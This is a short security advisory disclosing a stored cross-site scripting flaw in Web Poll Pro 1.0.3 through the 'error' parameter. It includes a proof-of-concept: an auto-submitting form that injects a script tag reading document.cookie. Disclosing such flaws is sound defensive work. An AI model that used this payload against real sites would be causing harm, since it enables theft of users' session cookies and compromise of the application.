Web Poll Pro 1.0.3 Cross Site Scripting

`Product: Web Poll Pro  
Vendor: http://www.got.my  
Vulnerable Version: 1.0.3 and probably prior versions  
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Risk level: Medium  
Credit: Hector.x90  
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "poll/submit.php" script to properly sanitize user-supplied input in "error" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/poll/poll.php&page=edit" method="post" name="main">  
<input type="hidden" name="poll" value="1">  
<input type="hidden" name="error" value='description"><script>alert(document.cookie)</script>'>  
</form>  
<script>  
document.main.submit();  
</script>  
`